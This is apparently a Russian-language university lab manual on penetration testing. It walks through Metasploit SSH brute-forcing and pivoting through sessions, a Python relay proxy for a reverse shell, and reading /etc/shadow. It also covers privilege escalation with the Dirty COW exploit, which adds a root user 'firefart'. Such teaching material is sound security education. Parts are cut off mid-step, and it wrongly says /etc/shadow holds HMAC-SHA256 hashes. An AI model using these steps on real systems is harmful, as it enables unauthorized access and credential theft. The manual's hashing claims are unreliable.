Методичка для лабораторных

USERPASS_FILE => /home/kali/Desktop/Ubuntu_passwords.txt msf6 auxiliary(scanner/ssh/ssh_login)>run

После завершения вторжения на виртуальной машине Ubuntu должна быть запущена оболочка. Выполните следующую команду, чтобы просмотреть список всех своих сеансов:

Рис. 17 – Список всех сеансов

Сеанс 2 соответствует оболочке Linux, работающей на машине Ubuntu. Данные в столбце Connection (Соединение) говорят о том, что маршрут соединения с оболочкой проходит от 192.168.1.115 (Kali Linux) к 192.168.1.112 (Metasploitable), а затем к

10.0.0.15 (Ubuntu). Чтобы выполнить команды на виртуальной машине Ubuntu, выполните следующую команду для выбора сеанса 2. Затем попробуйте запустить команду терминала, например, ls:

msf6 > sessions 2

[*] Starting interaction with 2... ls Desktop

Documents

Downloads

Теперь вы можете управлять виртуальной машиной Ubuntu в частной локальной сети с помощью компьютера, находящегося за ее пределами. В этом примере мы использовали прокси Metasploit.

2.7 Создание собственного прокси-сервера

Создайте папку с именем ProxyFun и скопируйте следующий код в новый файл proxy.py в этой папке:

from SocketServer import BaseRequestHandler, TCPServer from socket import socket, AF_INET, SOCK_STREAM import sys

class SockHandler(BaseRequestHandler):

def handle(self):

self.data = self.request.recv(1024)

print "Passing data from: " + str(self.client_address[0]) + "; to " + external_LAN_IP print self.data

sock = socket(AF_INET, SOCK_STREAM)

try:

sock.connect((external_LAN_IP, external_LAN_PORT)) sock.sendall(self.data)

while 1:

command = sock.recv(1024) if not command:

break self.request.sendall(command)

finally:

sock.close()

if __name__ == '__main__': private_LAN_IP = sys.argv[1], private_LAN_PORT = int(sys.argv[2]), external_LAN_IP = sys.argv[3], external_LAN_PORT = int(sys.argv[4])

myserver = TCPServer((private_LAN_IP, private_LAN_PORT), SockHandler) myserver.serve_forever()

Этот прокси запускает TCP-сервер для прослушивания IP-адреса частной локальной сети. Помните о том, что наша цель, то есть виртуальная машина Ubuntu, может получить доступ только к IP-адресам в частной сети. Поэтому если мы хотим установить с ней соединение, то должны настроить TCP-сервер для прослушивания IP-адреса, связанного с интерфейсом, подключенным к этой частной сети. Предположим, что мы уже имплантировали обратную оболочку на виртуальную машину Ubuntu, поэтому можем понаблюдать за потоком данных от обратной оболочки в частной локальной сети через прокси-сервер в систему Kali Linux злоумышленника, находящуюся в нашей смоделированной общедоступной сети.

Сначала обратная оболочка подключится к IP-адресу прокси в частной локальной сети. Когда оболочка подключится к прокси-серверу и отправит свое первое сообщение, прокси извлечет данные из этого сообщения и откроет новое TCPсоединение с сервером злоумышленника во внешней локальной сети. Прокси-сервер будет отправлять данные из оболочки в частной локальной сети во внешнюю локальную сеть, играя роль моста. Кроме того, прокси-сервер будет прослушивать трафик, поступающий из внешней локальной сети, который он будет отправлять оболочке в частной локальной сети. Теперь у нас есть двухсторонний мост между частной и внешней локальной сетями.

извлечения логинов и хешей паролей из памяти машины с ОС Linux с помощью техники повышения привилегий.

ОС Linux хранит имена пользователей в файле /etc/passwd, который может прочитать любой пользователь системы. Название этого файла вводит в заблуждение, поскольку он не содержит никаких паролей. Тем не менее мы можем извлечь из этого файла полезную информацию, например, о том, требуется ли пароль для получения доступа к той или иной учетной записи. Выполните следующую команду, чтобы просмотреть содержимое этого файла:

kali@kali:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin

Двоеточия разделяют свойства записи, которая имеет следующий формат:

username:has_password:user_id:group_id:user_info:shell_path.

Второе свойство has\_password сообщает, есть ли у пользователя пароль. Символ x в этом свойстве говорит о том, что учетная запись данного пользователя защищена паролем, а пустое поле означает, что данная учетная запись является гостевой и пароль для получения к ней доступа не требуется.

Где же операционная система хранит пароли? Она ведь должна хранить копии паролей, чтобы сравнивать их со значением, которое вводит пользователь при входе в систему. Дело в том, что ОС Linux не хранит пароли в виде открытого текста. Вместо этого она хранит сгенерированные алгоритмом HMAC-SHA256 хеши паролей в файле /etc/shadow. Когда пользователь авторизуется в системе, ОС Linux хеширует его пароль, сравнивает результат с сохраненным ранее хешем и в случае их совпадения предоставляет пользователю доступ.

Злоумышленник может извлечь эти хеши паролей, прочитав файл /etc/shadow; однако для этого ему потребуются права суперпользователя (root), в чем вы можете убедиться, выполнив команду ls с параметром -l:

msfadmin@metasploitable:~$ ls -l /etc/shadow

-rw-r----- 1 root shadow 1233 2042-05-20 17:30 shadow

Метка -rw-r----- обозначает права доступа к файлу. Структура разрешений в ОС Linux представлена на рис. 18.

Рис. 18 – Разрешения Linux

Заданные для файла /etc/shadow/ разрешения указывают на то, что прочитать его могут лишь владелец (root) и группа (shadow), а осуществлять запись в него может только пользователь root.

Если бы злоумышленнику удалось раздобыть учетные данные суперпользователя, то он мог бы получить root-доступ к системе, введя команду sudo -i. Но предположим, что ему не повезло. В этом случае он все равно может получить root-доступ, используя уязвимость в операционной системе. Данный процесс обычно называется повышением привилегий.

Злоумышленник может использовать различные методы для получения прав root в системе. Например, он может использовать уязвимость типа «переполнение буфера», чтобы внедрить код в модуль ядра или драйвер. Затем модуль ядра выполнит код от имени суперпользователя, предоставив злоумышленнику обратную оболочку с правами root.

Кроме того, повысить привилегии также можно с помощью некорректно заданных разрешений для файла или каталога. Например, если процесс выполняет файл от имени суперпользователя, то злоумышленник может изменить этот файл, внедрив в него код, запускающий обратную оболочку.

Инструмент unix-privesc, предустановленный в Kali Linux, позволяет проверять систему на наличие уязвимостей, которые можно использовать для повышения привилегий: unix-privesc-check standard. Оболочка Meterpreter имеет аналогичные встроенные функции. Вы можете использовать команду getsystem для поиска и эксплуатации подобных уязвимостей. Затем получив права root, запустить модуль hashdump, чтобы извлечь хранящиеся в системе хеши. Теперь, когда мы разобрались с сутью техники повышения привилегий, рассмотрим конкретный пример.

3.3Уязвимость Dirty COW и техника на повышение привилегий

В2016 году Фил Остер обнаружил уязвимость ядра, получившую название Dirty COW. Данная уязвимость (CVE-2016-5195) позволяет злоумышленнику, не имеющему прав root, редактировать любой файл, эксплуатируя ошибку, связанную с тем, как ядро

Linux управляет памятью. В частности, с помощью этой уязвимости злоумышленник может создать нового суперпользователя, редактируя файл /etc/shadow, который мы обсуждали ранее.

Название этой уязвимости связано с механизмом, который ядро Linux использует для управления виртуальной памятью. Это механизм, который операционные системы используют для выделения процессам изолированных участков памяти. Для этого создается таблица, сопоставляющая виртуальный адрес процесса с физическим. Поскольку разные процессы могут использовать одни и те же библиотеки или файлы, два процесса могут иметь виртуальные адреса, соответствующие одному и тому же физическому адресу. Виртуальная память создает копию ресурса только тогда, когда один из процессов осуществляет запись в эти ресурсы. Этот механизм называется копированием при записи (copy-on-write, COW).

Уязвимость Dirty COW заставляет операционную систему позволить пользователю редактировать файл, которым он не владеет. Это достигается за счет эксплуатации так называемого состояния гонки в ядре Linux. Состояние гонки возникает в тех случаях, когда два или более потока пытаются получить доступ к переменной, а работа программы зависит от порядка завершения этих потоков. Злоумышленники могут воспользоваться этим состоянием, выполняя множество чувствительных к такому порядку операций вплоть до достижения нужного результата.

Уязвимость Dirty COW вызвана состоянием гонки, обусловленным тем, как ядро Linux читает и записывает файлы. Ядро Linux запрещает процессам осуществлять запись в файлы, доступные только для чтения, но позволяет процессу записывать данные в копию такого файла. Когда процесс осуществляет запись в собственную копию, ядро Linux обычно выполняет следующие действия:

1)открывает копию файла, связанную с конкретным процессом;

2)осуществляет в нее запись;

3)отменяет изменения и возвращает в исходный файл, оставляя его неизмененным. Однако если злоумышленник использует два потока для независимой записи и

отмены изменений, то может возникнуть состояние гонки, заставляющее ядро выполнить вышеперечисленные действия в другом порядке:

1)открыть копию файла, связанную с конкретным процессом;

3)отменить изменения и вернуть в исходный файл;

2)осуществить запись в копию, которая теперь является исходным файлом.

Вэтом сценарии злоумышленник обманом заставляет ядро разрешить запись в файл, доступный только для чтения.

Злоумышленник может использовать эту уязвимость для редактирования файла паролей, доступного только для чтения, и добавления нового пользователя, обладающего правами root. Выполним эту технику на повышение привилегий на сервере Metasploitable. Начнем с выявления уязвимости сервера. Войдите в систему, а затем выполните команду whoami, чтобы получить имя текущего пользователя, а также команду uname -a для выяснения текущей версии Linux:

msfadmin@metasploitable:~$ whoami

kali@kali:~$ scp -oHostKeyAlgorithms=+ssh-rsa 40839.c msfadmin@192.168.1.101:/home/msfadmin

Теперь запустите эксплойт (kernelexploit). Вам будет предложено создать нового пользователя root (firefart) и указать для него пароль. В данном случае выберем abc123:

msfadmin@metasploitable:~$ ./kernelexploit

Рис. 20 – Результат команды ./kernelexploit

Переключитесь на вновь созданного суперпользователя:

msfadmin@metasploitable:~$ su firefart Password:

Теперь вы можете прочитать файл /etc/shadow, содержащий хеши паролей:

Рис. 21 – Файл /etc/shadow

Запись должна содержать хеши паролей пользователей, сгенерированные алгоритмом HMAC-SHA256. В случае успеха это будет означать, что вы успешно повысили свои привилегии и извлекли пароли пользователей системы в виде хеша.